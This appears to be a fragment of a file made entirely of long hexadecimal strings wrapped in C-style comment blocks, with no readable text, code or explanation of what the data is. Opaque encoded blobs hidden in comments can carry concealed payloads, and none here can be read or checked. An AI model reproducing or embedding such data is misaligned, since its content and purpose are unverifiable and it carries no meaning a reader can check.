9acf2cf818a5d4e649f857e73d2257a630ebf118b5e7259d731c7b663796c921cd1752fffe3e14fa8f535511b4aa159ba2b850f0123f411eb2eb5374d0695dcca777942a37c85a87b17634c3de147224fda36ade89374cd6fa1188b3f5b9256efb206b7774498f6da7ba28cee0315622b677cc9008229a593be2b4657d4d6596764a9925da15f491c88c4c3bd508c38b6063393555195b597ff89057ad65333c9e2edcc18d3bb4337fd3a1a6b165b5531d79835c1d54e7a7293de29b32cf91cffc0e9c2b6c5e39aeba1c7c06dfa96aa6c168b99912cedb68f2681e42b0e7596574dfb556e698fe79c6743563dcb3c262ea35fe079466b361df7d95f80c911b9447880b8ad6fae3f23e63cf76ed6a31f34d627a3511f44a29957185251c76653df66d32274c73d848b7d0a9229cf1e8d3c75693d213093ea2bbe3d14c255c744dcb25305c02406e150673f8cbefb8b8b4b36b6c83e5964043f2ed5c3c67c90089e36c7de21e3d178da434d9a98789f59eced39913cf385c2e24d24547f2b181fe00f63dd825e964dc0840fbd90744376237f7fed72c86fc92edca119e60b36357e1cee5463a6adcbb6a1aa48528837a93761c32ff36b5b351880461cf21ee0bb5c1d031b08d499936eea4d1089148d981320343466c6306486be553366189583962dea5c510ca3ab11fb4fae776c0404d143eb5b055880fbf830724e84cbae33b3b1a58338247221*/
/*e535bfcd8634c5c1198cd897b79ac4f8c122ba7797fd39dacb383a66f0ffb2b85fda0940e77bd22a613a32cf50d35d3333679d7c06278474fbe42636f2b9f2fde2b7faf163eac1c3bcfe01acad4cc1fe6021a14ec807c309c5e2e4b9aac61c7ca76b7030a310d7799e28f1daa4127c85a740af2b697abf45ad6e8928fcf35fddfbc0e91073af0f255842bc82ad166ef8db024f83710a15db80a85ce064931b5fcee7c0e03ccfebb4b4d9a574bdce2d693781389540567f10d936ab3b993fef232ecd54ecd87afa83153420c141dbc9024d31a3a9a0a9719806cdf994abe3886aef2d78a4eabb0707ba378f2827d4483e51092ca59b1d6ef41484001d124e26af7f308b8c99fea45a3a7098b1ead3aab57bf9b2b004191cd1088772a6f798e729d90be1c3b78b392fabb952fa0a3de8c99e63058e76d0502eac0e74d859bbe753bc57c790a685be7ef7940964a876a8cb15fa9a3956408d1eb49701d7562398d63aaf4ebb16ae47c203d2ffde49d169ac0a38153cee0afa9aab2e82c1a54b5b988fc2863f3d8f19f8b537b6733553dbfabea3bf4ebbb8c6b54e4d8efa2a3423c041d857e7e551eb5301c5912aa8e4ee52748407ec023d5b66939c44ebfff526adb38af5a716985f5f39976cab682f1ccb208e466a1553d5ba51fc10896870ba172aa83cbdd5a9a79d912f5560565f1d8a9054086a6638fc7371f61bdc8d7ecbeb841ce09d69fb1c0f4f3d85af7170120d6f351cfa47a35722117d2dda80d8f250fea641e081a34a86984b62e7ca77818512faddb2d3a5c5916331a8ad76f473cbb6d9674c1d177ad70034c17c23cc2ff30aa79f125e1f3f5647d97b24fe1693b46627778dd901e59bae82158a334546af74d6b6b02b27fceca43dc0a30edf78c8f43d68d2d01bb85bcdc6d860ee323e5a77f9d74e6f24b56cb4c739e418cff2637ab008bfc3b532d9916990613db1f636d744ac34f10b79eca30be5eb5c9610dbe5dc24d2e55097b6e3f2bf6b6cf2d0898399781eda77c3506ac9359c00bfe716e1fef9fbef417555d8af3a08e54e55ca7c09cb5afe3ca0b2792f3929083be46b04807a4d6da568a0d4ab1474622bf5d5c5c1d86ee529610a80d28c3f5858e558a6699521fd1a22ae4ec1e002553857b91f1c49cdf7e5972d1f999c1227a33a236a88ac2eb7d45befd461f63c5ce8cc4a73a0d9de61fe7cdf93164ebfd7c0b162d3978f09b8b8240d482484286500d8d717c285ccbf461bdd1e8101671e09095f4ab3a5d67c89848e151d4e550757f4a4310a6226466bc18a31664ae6e198c424d7ff30331e9050359d3a390407875050b06b5712cd7674de32387e8c5ccca41c2ebf9716e38c5664b51a08e7d8fa8404c5624ab58fc194f84fc753d3cd642d76b0c03044728400f9093e848e63913665f91582f8654612c8598745ef922db217a9a334d075f5e0ca293c73effc5001f739926a5dc35003996a97e9aa993b0ce4eb54c848e710fc3f844e670d2422e866e5ab645e364fe3e7d5f6f91a2fc0e6a2c6115c329c5e62a23d0ff844e74e7fd47c2080fed413025369958ed3325a249cfc95830463e8643b346f3ba050df94cdedc4a8141ff47d5ceff3e748489be6bd25b678504f850db0d722515ef127032edff682e20f94793c903576653f9e4fe0d1fbb00a7079f4b76b5e9f3cf6f528bc5a0272811f5b863f2ece3038bb2b0925f1e711bcb48440d437aee8db3238b2d0c3e0129079ec7a08c6e66fa2c337e96c9253f5b1cf2fbd9298b3acdfab1d807e36799e1b83b2e9c505b8c417128018c20b0e6171d58cdefdba1d77c1a0dbc90eecfc0709070f92b9f8f58bfbf69f7669ff16857f4ad7bbd117bdc2cde049aa2c89cd3cdb58a02fcda6db7fdca1e4931f42343dd986027e9c8cddfde64d4aecb2b9f4f2a7b1f0a4f7cddd871401af6fee05a6bd43cf50d3050bbfa64e8ca8d5c0d4f660bf22cfc4d36e303f475872158f04b88c9379d016b7f219eb614589bb954e26c6882aea9a02f048f9d22c66469d461c683963ce31d727ecf24e04be86e10d13927055be8e6b74c18fa9c5e3fab51406ee86cf046c3b5a8707decd219e20d8b88ee089d83a7db24f7de0b8e328cae5742779286c2db66d5be95c2320c9d5687cae2c127649f7de72e69e89678a4cad43c99d398188ecaba0f39758c42fab1211208cb0b44dd738bc2e430b2250728d0f56231719f5c60c49e6baa39d89d17b4a95e65b50a424a7de7d664c87092d67c8295fac4851e5e6cbb1f32afe2dc02ebfdac7290d21e8df8722c836cf3894304f949bf42a925deb4c1387d20ebe2589d7e8a37d62131ee0126b4c9a47d6129ca0743197f8d7e524da6f88c56b74b8412bc1ef33090564962457e423859ec22fcfba275e034dfc794b8c9918606f35ee815e133716a1cec6ce0170ff8f56386cf83344d3adbe50f8c8e45027da160ce76cbcc1aae3b68d8337d9792d6b925141da357b0cb36f18fa4b466d3498aaa3aa41086c5ff99c639d6144a1744a5788981b3ee7eeb6bc4673703f1b6f7959abdaf72de79ec0f6273126a739f7990004f83aa35f094084395c9d4c9a31425e9f6464c0d732757ee2c2b6dd58fc3e729a6441b057561ccd9dee173b102baaa609c6f26796ef6cc9db26543b1b14641dd7b8e45d1b6b980c0a0a19be56ded0f0cb5cacd31f5850c971df97391bda42a1f996c8551f9646fd7b8f799eff227d333b0e2fe6299298171d0ef65fe50a449c1f17e13cfaf9e9d29da674e438f6452e50e225239260599e98e9cce7039977b46bebbb84ac35b32413a88b9360c499001c*/
/*35f1c06709f312e120d493f84289bfd63953422981d57fff6244cb2e8dce3176caabe2f4ded2438c65a123c3c64f41e39c70de5e5804454ad979ea294dd276825506e1335d291bf58f34224933f3c64ec59c4ebc4757d63681141cb4c8da50210edd1853573716fe2a5f79c39c8cdb8896306ebe50278355b138135cd051d38cf3ce0ae94b9a9b7eb77c507bac04d3d8f5533188258c52bf1fedd6fcff39b1496a5f38b681351f32b68aee3a134e73f71d02d3de37e168ab9c8df534e04b87668d7113907b150415c446dd5abef052e098f77b50443c4a4f59314ad8e5dd98a27b541cf23de8f03ee40dbe6bb4a2d27f5d5b28697c4d322d10ba10dc40f44649742dd34d2beae857fa44f888ff4b52e4de86fddb9782559b991fc576192d98ca6ad531efc0f28fa980db76386e8d6291d2515fefeaeb389e198331ce1ca7e64e14578645b7ffe7b4a50902ba43dc890b118b252a3eb16bd106636fe9b414ed354967010f4f17f7e4357a9b597083fedb07eac9a005b4eb957c3afebfd7bec65d6a29e02bd23751c172300a6fc2eae3d1514e9b8af1db59d370e85afcf385eafaaa7c8025bb1f3fe659736bacae4e9d386d8286114be9e81dfbb568ed1210453f4de859f2f9c71c6853e925dde5f7885d3c9304cdb4a716dd88a50ef7001cf576650c8ed73903047ff874922474202d7f816a688b202e94c25eee9f4c5b4ca4bad316c5b3794a31fa9e9b6b4fa36624bb3225acf281271d4b44f72e2b9824e3c8f631c7e148554e0c672f1b3bc2424f16438d131caa711280e4372f5431ce548bfd28dc8380fa552019a1162194ece6808b38fd58a0f8c978dadad54100e0a34fbffc01e9464224a6061e49bc2f7c844c60e983c3a0b2e3c125a90742e5793b19b3f3f156e22aaa48f63e2ea46ad68b645d9ab3d477fe135504bed47031689d5fb1d0e61225dc81a3cad55b3b9ef5d14b04208e4993ab86167b180dffc18b2ec54762d80ec2e98bd948b8a8a7fe8e612ea214b3462b34076c36953fa3b830f12cfca1e2a968df063bb29ee4f24130dbc0bf28c1da05110cf3601127afe73045a81a91b3bb8a4c5756b78b5dbe6124b92080d9de6d333bcef37f75f228c09bceb2f209afcf0cd3342637715926e425819386f652360a35c53820f8e3271344ca5beda764361aabe363ecf689cd690a23ffc7d3f13dd1405def45d4e579a86887eb2d98f15679c71211340eb2a97d39556e176d0cbe9cf745979cbb6d41824001b13cf89520b6ab3f279bc913edfb292b70a02f349d958cca0f08fab8c1884895bd2f8849695c85136482e09bfeb1b3a8510483e6a612418e429ce389751b62990d9a4350157a203ff998cf6a6ec581d9fa5d5d6f646024084a1e485dcb8de70cf0a93e9c1716c53cc4daa9528b74fd947732c2984012d27bd502809349a54c28845ed23eee396546b755a94fc5e868cd54d1660f56ea40ea8d4319c40a18308cef7313200f7cfb1e291605a49407f58b51b62d6f0ef4730524dea4a055d898a129d57bb9b5c3de642cf02f5b2fbfd79526fd6040f7e24db2479d72534f7b27ca6297a8c038207a1c778edcba17897a3073030ba891ae5826ec9d8f2ecace4c5ffee0f736aa29f9c2eebbb72794700b84cea43a5f0cc1e47f3258253a2789dd4ca09eebaabc9ff8b35377b6ccc5b3ed02e70de31b46d2c412c956d97ba8c971926adc5eb9521b7fca0d7692cfb001091f51cffa075c024e55f498a1df8e643cf5e5602905d4c7a7eb43710e55e22eb18e96fdbf3d8047cfd9e8161a7b54dc908029123448e33ca9b5d0dc8352bc0640bbf9c899d03c292545d2a5d362b18bf92123d31c9c100811d0c7f7ed9a592e859c5dc2e6921e1f4ed370e4c6cf40e8dc09580c60a43de89365064fa5650633d4cc1d8e1dd6abbf86495809823bea043ec06b9460d2f1ec5168f2cbf553ae31063c4387d11a89df7f74bac8359e08b70bcf91ea3cd1f9e7e92199852a1f5add4a4b501ad5bd16aaa288d47c5a6ad636237f63c14a3ff2b8791bfb9efd6652bbd281e99ce523f47563b1cc29b246c4a5455a46a2a0004de9b6fdf60397d58a05c5f3e7e3c7de05292ef678d517ef75e889d01c8a13afc107e80e860b0080d63e9d5499ae499d362ecfb77270c119d09f3303f865310a5242891b42dd576bd943f46192686f07768d72363f3b27029415db86879d4d05d1e8b30cf593544a3ab77ff4f483eb8d929c02b095bb8a0c857b88448ec44eddc646b51882db9c80a779bc3386ad249c58e5d7143d7b3d3a7baca8a2175bc8b55bd9750248f7394e0b8d312ea1e7926c068116ee6bfc603dd4c50ba5af9da3596e9fd23705aa9187dbaa00a49203dc943ccd202c43b8ee403a6925df2b4e5e8421870f559f38e396ea8eec73eec127f4e0580208d337b37a1605fecaf83bfaeb4fa50ed7845c39761bb0b505cb8441210f3a240fc647b736c7aefbb78838336808255d49e5119c0cafaef7977e8a72ea8d3db2e9b9887c8d9797c67565a6d002a36c97b9116739fe0c3ea7f1361ac53a2335ca241aca19ae2bf57935979f4e085730f83248250eaccc3e5d854b6650499bb93f3e874aba556fcf07b0c480583a6fc32acd6afefb4197116490e32577b609a6174ec452f4a113ed44dc6c9b2cb4d983c8e4bf8276af21da8b6a446646a7bea9e144e1f8c0756cabdf5bcb0cd82bba37a4d41174741e1f81f1ce7e71eced8f3b1fe8407681c54300341e2efa0d142de707ee713ced7aab28de957b32e529225cf4ab541eab45bc3c1b6bba5532f6a038d63a33196a4cf3dbad90a6*/
/*1a4a4d45a61554eba1b0c67b46f9c743bf03ecd661464734d9986150fa5d705011dc72d1e769db7a377911b283d3a5d459d8f8fc61634c0867cfcb993c19a70a87470760df30d5ca958d405030082f1bc3a8bd1d3cea28da32dd6d7c04d1a82d2e5abc4f663e9607fc28c8adce6cd8c0453feb97db2a3e18ff67801aaa7fbf9ac0b62d289a7ab18b709e1e54af040d523e1c572f889ab763d45eed3e372a59242217a717c48c16412fa2c0e35fe9a3e9ff07cb12f06257c9d99cd090a2365958dae82265a613f1ed16026dc20f2b246bff51ab0cece74efd745e87c48a4e9b6b9d2191876455e372f08c474184e70d8184eb68a4e56820877ade41ec402e0ee65e2991c06a46d99b0da95bf868905aa34f4e825ecb28a687d9ff6d6bf5709a7acf3268a7b03916dc871b6ed970bb152f23c85dc8c476f2918cadbcc443ef39b37b45b359836e2f2d6edda5ff58ba51ddc80dd8d17c161c13ef58aaebf7913e402d389264f9a04d82e7ee0209b39ffe0faaab34afb29635334a25b49d21c35196b6434812380cadd509cd98afcf889eb3299413c35099d500656773d208d254be1ef0911251f7f43c37ef497e514f76bacdb6d64c819594979aa1ccaa07049830377c00d13132dbee48851d47265582eac57c343e5dc00c637346d54e27e2366f588037bcc24aa7c869a7b7ab1956a1770ca592ace766257748241bd8edfe295f67e073a440a5a89d9107527edb30ea3297ea32fc61f60677a17506183ef1a37264e6a86770a0f6256066155ed422c5541c0b2931c8abad6aa5f90287e996a335607ca438ce33d24a7af14977e9fa549f3feed13e4203e52e45336f7887311872a344a8d8466e12aabcfc471addc384c399d840684fbbdb17ee07b888929fb2dc6daf24d8aae22edc44e6505f1d314566aad75013bbf9f34bdddab62a2fd26f58b6ee8f6e36950b6d2aebc81ee87e666d240041053571678a82f4dac4e68ccec4495ec863864c27cbe2e64b62d73c272a3a983f77083d0c6906ec60690334e64ba428c011af125c974a35d5cb534d13590dee8402bf8e1e01e3e26f8ad0e220373a15f05cd08afcb6f769222f3d04bea919d39bd9571f6dc37a8aff894bfa06bd844fbbb0b7e8884244d664636996b613f5738413b223d7283a668b4647c171f177178ff8d9b7b455a82789c6f9c5862ab0d74666ff6d5b584537c46af6126a78039d0ce3ce601a815e6e5e2071e375ce2d9a5c614207aca5aed31fc4000f29594ed3b9f9f0f003322b86369a39852ba2455df4139e0d9f4710606879d09b21edfc22b882598a7a586cce24c5934b25b02208b9e72fd6b850a584a23692fb4894405b1892a35afe6b7ce56c9913173d378e0b6b52dee27e41c37783ffe5152ebdea0ed5beed96967f5853bd01e8707c4d50a014ca0a5277c957c378e953a34a6e2037e018e06d23d56d8ac5130f177440b34df63dad44a9b0d70b6079ed503c2d620dea88057badb1a33774a9e7ceb1be31390acb515247aa549cae4b83e304da00ba49057deff5f120539fd6eb8033beac6ad3a9d099fe2923f2540e961f53de1ddde2b94d0ee79660747fe5908956acd8eb37005cc25c39d4e81af91aabfa19cbfe82fe4891fba8d6e048e7e541e5949ad4e007a867dfeabba9ae456bcce0d800fb5f480085339b1bc8e4e911977a4c8ae725d6dbb7c69f99747f4075e9cb48ba3924fc1a9b08bd4088590b09610a5a2df647348821e43873c81bced96ea00dee02b5be2db3b79c895e28421efffedfe01df23d3ea3e6426db81cc71331e90d6072ecac968961b8216a01b53b7868991771dd1464f5792cc53ec78ca1350ffd31f8be187af5f790059b3aa7193d91ca67034021ad6c83bcf92d176b7d3d6d16d000ccb8968f9c192ca0c607b3d9e041b2b95138b17a3b22c6bf04f146beeab063c45bb06a79fe13efe3b4b3574f4e769f050e17a976c887b199eeae8725a6eabac6f6176b1635d680c65c77fb0fe5a9ea4d5b5ad06ee380593482ab7cd5a5eea7e04ca64995d71f7b401c968eae2d5215411270867abf94b1e26e14341ea59de08f5af6a9b9a544267b549b0bba98765819f67c90ce2645ea829969c375cd8903ead5cec8059b1e3766dcd9c5297e807c74269760e23eaeafad2ec6b4c8086182d7a79c99b88627a561b4a45d2ea4fe32cc5199ec97729b237065447d6c283a69f2ebabf654f23cbad8f084ac8c843e85ba201e78313a7df5958d4ccc99af01fa9a2777a97d32540720cfffbc0c35d885142589b59ed3b9c311423fa40e47ec859cac77226083b84535e95720b5404c65d9c23cf4e5d95ae145d9c0d9cb9f3953d16369b178756a744dcea079d46158c423889eacc382c944253382eca8a4d7aed52e547ce2defac6f1dbed33c049b4de3acfb41be0d08b677385ba75cdd857830980e605e5904e9428ca5f8503c7612caf9b1be696a6e4345eee95d087da1feff8b442a8169a4187acdce13188fab339e5511b14b4ef45672c3aa196a02e5c0991134722bbf6e565d0ea5da12b40501b1dc5f8e242fdbc4bacec4392249bc76d1f8ed0af1f1ad187d57c1be9afc4718b8deb116165ad0b909146517f18067a61789463951ef6da7df257d9d7eb99a642cd326e5fde8aaa2b200b237c11644d01cd4c303631778c8c9e8c0d3782792901b22cf3b89bdb3473d331a7c1ced58fa4154e4a58c30284bafc2162e0aee14fcab219309b659b0634fef655d934465951746042c1313667578655b1bf4c61e3d452a6b95da98fcbfe0c24c7df0c4422c996a571a89f7dd0cf9ab4a0aca79544*/
/*971bddc6868a7779a1e92723c7dca0f4e9dee726c9b18fbb2b88b8269cf278f3c65c54d980001ebbf01e7538c5100ffccfe243152c4d20a533eff296f5f7a6d36feb6df1211c1fe3975c196fb39b6ddc6792b9cd94c66e383937c8dc491f2a866ce0c788651b6fb875c2cf6cb756f80061441d2c0a2543f89ca6e1e16f1162bf3f1fdf2d332e4a9684503d09569a0b25bd10960e1e819c50409dc3e60892832428534488d907698963d8c2f283a1ec56d068da5b3b0536a3cddbfbce612655ed7f9aa462ecba0653cd005e2fe56c168f13e7caf93b1a3b50bcc7b1bcff17b35da976ad2800ca390db2e57a371519f51b2c620b8538ad4e199d926b0e70efcdc87e71fcb698427f49715108424ecdf22c9571b01a5123ac319a11d93cb3444a9b80baecadb7db2a3731ed95e36e3e914061dcc31043a4ba452be96861df1957507d5f1cdae733af5f63f97882be48af05da8abab5ee900cbee8b0df81b17d4cae1fe82d00707a0343b9222d22f36cb4048bb1a8f04b1116ec72d9eba02d5d5d03df544ec89c6aa61f3e3619c58ff45ee1042db0b374fa508e7be24eb20b7f6125329309c3a6287bb60d1b08afa82a7e12fd3f8f2bc832067a9e2d337d0fedb01d18d46be3e5638fd7af993a7ca50002c66bffa188ee102e4b72aae8218e5ac95c74c0f1dd3c1bb3c1180e80c322e91fcca9cb2454d64acf8f0532b294d3fee6e610fec308f0a4a77afe49840b41e1f4a46b6e2b1e265811ecbf538055d30f4ac5efa34f178c18b262c30c21cd034eab262eae72120ad29a990058c223e1e9337b2e48e372156d3d859b3b7bf714306ab9444b3201c009570ea6c0a96c257e78db06d32fc5f52d4efffdf4b84c60679c5b51da17f2f9d31c0cd91d3a839b3bf981560c89e5d38097b4a52159477658481279838e139bab3e509645146b44dcbcd997ee1620a00af314a05c2edaecc1148d8d9c6e50829727d175945b9749bfdf7458367c6fae285c86482de696a3d4fc1cb7c86fc5be50bdd6658d09ad73c42f1c5260f7b2ce15b06a2c259b68424ebeba038afa42131e51a7c94e5ebc762a720e91bd893dc2ffcb6e305113529fbb40bd47df41f52fa012a1afd97d526f2c75ae40bc0cb4a52459d76e994426c3bf5d77af180f3e8dcbee823d6b8143ac28aeca2ee558b28c3b79b6251a25e6c5b73ed0ad7e0287e1ce6bbfc9328b4291aa8cb3a7d0760ef05cbd189d46893bbad15959e61f8997aee765236c3d15d59da7466bd4a7decc3e189da601c22954c2e0dc8be7984c6767e32bb9d244158d57807355b7f21748b5643653a362e595d2342b10c2cf64206959d0bd102de60572f28138968867122c4a55bf1ccabf32f53262bc45ad42d25ade29f0c05463ff3e650220bf30dc471fe4f25049ef2aab4e8e29bb45b9106401b0efcf98d4d906ac6e14652a33a6489b3308716d24b37394361459c790ffbefb519506c76ee5c0e8b7a6aeaba62b5e5ec9bd90b950680253b870464818ec61959447a4ed050a25660a4c96afd1178979679abe38cfe557ccf8e193cf0682a2718fa8982a9e8c65ebf580aa06b63b7cf6bfaa122687ce4f2c4bc802d1ca6dbea47f8cb9029b53a4b2075b5409187961a28aa0888e11b350a7f0313fb034fe93c672474c14701e75480369040c95f5e00de83976fffd47d009e77794a2945f494fb7c0532dadd35b7d771cd7cbc2aa7fcf3fd48012a71c6a0aa2d5cfc0cff76b1caf117d7946f5c82ff2f288dc75e4ef1cfbd132e614a92cedda18a3f6ee9c452c3543ae48598d6ac370db9d0a05d1e6b485e9f355bff698cff5aeb083225a362b9ccfbd0bed67abd1066f5c1e110f6531bc3a27819f68ad778bc6ed52fb3e2c4f2c77439fd31f766fc52404ab865811c6deafae58cbf4a221a97bc17e592e5dce2114c997cb2c0eaf94e0006b1ffd9412f845f227846ffbf84bc368fdc06696d2d94caa08a5744b5667353fb87daf4145ef904e931299717fa292dbc4710af6140669d422a875e17663059c32274814caa1166f05dfb85c107572ce16904e38f3c9be24640926c44136ebf71b24e729332fcbc4076f775c42791f20eeef845a7d243e4b1e5668d16189e8e6eba742015bc95b71d199e0034d0226bed7e786c8a25455984f6ff071c1f60681917544693e388be720b99e2e5c1b134cbcd4cdf8b711064f938b5a1e7e70d5ed4d63f58fb741e888d25bd39ad3dd2fd83c84224e54b0619eccc749068a86121464db06ed8cecd64a4284f003c4bce5f47bacc2a7a4051679f19e5a6c48b4e5156696dba20355c57da78efafc656224386c8f5483c9823b7b7f2fe3dcce04453d31e358d460ed50e30961df60139fd9ce33baec6560dc326f1868f4599e0df629bfa9159a6f2531db268757a34353a7f49540e2e47dc9fe9234982999cd9322a6572924901e3374125dc3e0cb143e09f34ab81003ed5863ad4f06db72d74758d77638336e8f741399b858df93afc7a5234d999a74c99fcaefa787706c5dadc458ecb357141bdf30b0600ac943f439f843d8799c146da8e7c439a5893a3da06953af96b3044f1e4acdd8769611d59ab25ee2215135c72e673676d53fbbcb9421e7b67a3d102b51868740d1f72e95af8a9483963c9dd9fa4986ef12183f3709d0025b90624dd1e07776a13c4ffc55a2272dd98b641f12c7b8f4192c53641f0b8b4cbb7a0e688263717dbc8ef87d98eecc02a677f0b470c6f5c99b7b01496b845a7800b400a155ca88ce3640a747d3dcc5e7c643affefaf6ba0e90d0812eb1370a1147f9fa4fc085d44ea3c30a9e102df807*/
/*d9ec194a76176fbdcaf3f3d8c0e418a7f214c34e3eebed2972d11b0578a4d2c209a4c0afa9861db25bea2e988e56e31e30cb86dd3a3b07506aaaf589d476c68163c183014d6f78da5bba15943999a8735b93ab443a3dad0715e88d7efd8e38e8653d12dad938e430b97cd9033120520e6e364309a6e2d8c79b782e32c221e311e93c31bfa37621563b0867887ef85da8115c2b43e522238d63f0edfc09de707e2d3671ee93ce4d211eb4d0836329e05106c1068056662485cc0672bc3afffe381f6971e2df94831017ef29bc319de132886e287d999ede8f6af205116920adae05f887672bdf73eaa207e607a760c5dd17682a6b62dd7bf130904722b0247ec126beaf04838911a465583c7e3b846ec23420e5cc0eb48353c86e3532ff6945b7f7c2fc8e8bd80d3e66be62c6b6da789d36de3c9a147ccc51056896e8a1798d31a9212e3a51accdd7136f199941d192ddb48a8c6d3c7a3c0a339f67171698509245a5df19f662a4704decf82c91da65a384ce46d22a873daa670492182aa290358ed5ab1c343d1e9d586659c614313edaa70a13f580f230a8bd080081e0e0e439515a237c246014d2d498f8f5043d9830198d1b561f9f8274ef8d7d8f899c7c6ab58a1c6fa7bf082e2d66311e99780076bf4bd1dc13ec88f032fd029d360e3b02f8ca7812d9acb5d54cce862be1020f89e675de2bb1fd81be6fa6431be6044a8c6aacb5faa526d337cd37902537e2abb4b911370448300d9e6b99ccbb91969b4b55fb4665ae3014034895654d7c6707ee106a22b5a669bcab9386e1a94f966ad5c6c70fbef9d124a857cb17245e438eaaab847b4bc4cfb4af0ac06e4c2724d487467d96417131686b5dd40e65ccaca8d4b65bc486808cb8cdfdf27d1b26309fafe2d414cb044b2f4dd9b4f087b4f2689e3272ed92c3f43ab47a6e63fbb51bac0cbcb99cff422b28b7ccc07840c03bb51b418ef2936adb9e7c9e2fd36e81e7499a22304c605cf9e6b1eb3233e7966e71f74044bdc5ade4dd7bb9c9ed67f02d19e42ff19e85bcb0b6533e67c61a580e9bd51009905628f9470b8559d83d9b5d7cd9371e559e196ae1a8fe41513dbe6f052e5a2e14880afa076e47f18e59b76aa1aded94e526e2908304a1ec670530496c1767722c3204593aec365e98e0901e27940962faf6aaa6ac250c3c658dda107cec26ee0e3106970e7a0e713c5fe5186c0747c7599de2423c79e7a27102d591175b083d1f5b253b87ac58149d26d6225e782191e6c3c28fcc260a2e07e0cceb5ede8dc8189ca793169cb59a2c690dd66dd9f508dea8c4be5df170fde65f99c25d1c01afc69ca89e57229d360f94170382edbfe759dd68f98b3c21663539663147bebbb4f90360bb8dcb9e69520362a7d9493eeb82600ae820ed13319532d5820bc44ea4c40747ca8720611cd9521b5d4898262874fc0b2b633beab7cbae0cab894dc1b5684d6f22f8ba838265f50dd61e3b08b466f9c16f12c6831e83e1995301c9c8e69d26cd0bfaf9bef99ab753c6a60fefaa3f4dd7407cfdcc48ad6a26fc44d04b62e2901340395b9fbd4995769621a60e0ca720303c0bdac610f685e31c8e8f98159066e7e5a5819d0ea8dacff77bddf8776277fe0c7c8ff0afc456c5692d7a9d62a93ecb391eb8a3b49bc0fcedfa4cbfc51a28dbdee97d894f715862967805ae3f97b2fbf75105bb86ed9deeb4a567ec89b16512f5219050bfb873903685a351fe176f506bf00960939ae585f42d03550058c0730c0d10231c85a59c5b20ce6d6fa1d6e391fc6f231022fa711afb00c99f501cdcbd8170e50d8acc2ecc46124f72b9d64339af0f5b210ef0f32c3595ce14ae89fe851530808f9a91866b90ddc07479e3b537b0a27e047ba8a3997c5c7889b9b2eb73d59f312ab924e6cacab9b242eba68e3450b72c994db141416e9fa83918624906dbed1f5a317117386921b7188fba79e61fbd5b5cfca37a47fd7b15ed9ad49c84249d20bc8c97983ebe786db94ea057ae58c1e4724ed9c04833e8e3b2aa47fad7478df92529073e36dafb73a485ec3b7530286d3bcfceb023478933694e43688400eb9623ea7f1114488d4aacb59017bbace718058d42137859594a16dff13f320f63773fe13c9257d2c75c308c589be15a4036889d0b3dc0bb7953eefd81a4f757a02bbca1687dd8bc87ad3a4e23466c7c04103fa790b686f3ba8ae79c25c627da1d0666569a1636a743f9b31c392ee5fa491d18480008df11cd1d46162aa1ec808303f918bcc90882f42274e6086859528f9c3373dd53577c2b93f4059689a0d60fc8fbd2bd8302e8a03a8d66c42b0931d87a5cef5e8be20ae2d42d697ff742dd084da537e9b217945b2b2c2606bf5a638847b2acfa53350bfbf45e638cfca33c352f335574849750e4226591b2b9be5870415041aebbae808e1e8458f6b3764e3ca7e04c1c0984bdd60ad46e61936aea4b2e7494e88a8bb479028a6b99af1fd0635a149b9a804bf61adb8e86bcee0619dd2395ccb4a0b4f062a9f13b2c46d20a3587b275129601bc25e19e54edb68702430b4edde183d3b890c1cbe5976d11115dc22c638da0d9d0d14396a21ba6cd8e3d41e7ca06831aa77b8182d414372b774533d7532e4f06ba4280a6c40ea9c26ed462a8d52d4767e70885bc89d8e1f0ae54dd2761cfb7f3794ad7afbeb926dcf8b16f6908b7237064e3361dba814563108ae614ca8227e3c37d0427f4e57289f12fddcc4bebdd635cfd2584548a8c4e97b175756e503764236c481753713a7466eb7c47c20454ba75d9433c965120dc387933706719edb213d8*/
/*bb5b9117e40e35b2d826ef68cd18854b80190a74443a8ee258009505b596d93bc0cb4941e725f76eab5c9be6ec83ecacd18b5b31bf3d7f42ba4b43f09bb454e6d6b70a755f0c421844624290cc730af05d163f95bc5f84a8305d13a2c59b0e5a93b75030ba3ea05b33d1d927904078b7f1bfa282afffa97fe0a4c223fa85389faa8aae078a35ce10ef5e99a69689b837ee173cdc3ff55c2a7d1f987ab7250bf5adaf0facc89db70e1c223e9bc5fef106dc70fbbb850dfca86277b84455663fe6f56a0b1d44252f33e8ea7f4c2f7a82a6d8a9d254527ab5499700d32f9d41a26251d44349bde6322641d7e9297eb420d4d75979dcee1e60e0b27b1a18967bba2002fed6fda8ec6e34fba7a8e9a5d693cf8dc2f460f645a36a64d91a573973f3e1d89d2a7af79decf4c8d0bb90d8b930358f46e27ff8156e6b1385967f74f7359088432a4931f7ef0e9fa4572ad23e3d40a2b6715bc655b1000ed7f9be778269e757b189123f89d7e857d71eb73ae2bbbab1ad5be0c1bdf809b25ee759c1efb403d28ce3c78b5f92dde451756e01ccbe41d00a8ac0585d876a704732720a8bcc00b2313ed447080694ec368540ec87701399dcdfcd9a13b6e1cd082c720672a70a1b6f8da1bbd4d9e5db8eaebae5d231be872d1e1e56ea88af0dced22335bce1b51831ebbf7bc2637c6889d022290ad3cac42ccf9e29c5e002fa00ebb1c682b965e3c84d866f1d8f4512017f040e36cca8276680c53fbbc24d8297bcc98922b0312a64b1960437009cc3ab454c3b8adf60e7403792dc54eebab7449d4bf62823a7fa23a508071815d4377ae50e2ea60987d0629337736a5a53a8235d5a9412eebd9f51498c9feb2db25a68396c513807d3f56edb3bb3f668f2363276e06be99afa61f63d14fd2139979deacd7f77ae940f6791105847fe1b41b201cf85be81ac91e806dd6b63a659f01b6f5ddf475c4bfab5b06ac41d54ccd9538e7490b4366da40c276c2d8a65f6802b0fdcf92c1921ed39b426897eaaa21d4248ae5a978a3ad8881778fae16e32c24fbfec2f3ee034718d0d7d1af2360b6f78387c54cbff712ca0032a56c558148bd321ea8d64d64d26ef72d3ce3486cdebcd9d37d1aca3eab311573744eec98eb9cdc9bdf69ab82e9fc29603a0afded3ade0f0d9b29517021990a25a8b59fec3bf42a5f3c53f5f42cb31d0835cbe84fe30f358c5d724a26b22d9495c4d71482a8d79f6be346a8f0907f4712d9a6871779ad036f5233a4e7a55f96d686bbfa51643487ff73d3373b7a59b1d7d8d2362a023dc43c8af722465ac48509cbf5f71edfda7d37de3ffe656010c00ac96e401253e678dfc7954e784a9044a1dab30e9b083db9d92da168721090ba56a333e5445268e7c44b00331e116cf6422c079d3a705462c7e787cc1c28e6c6d971f1274020e522dc0a9bdc846c85db22f0577d7e28aa058b8e9e31d46f6d23cfc260ccfe593e3ad33b7101f48a719aadde8956139a571b55570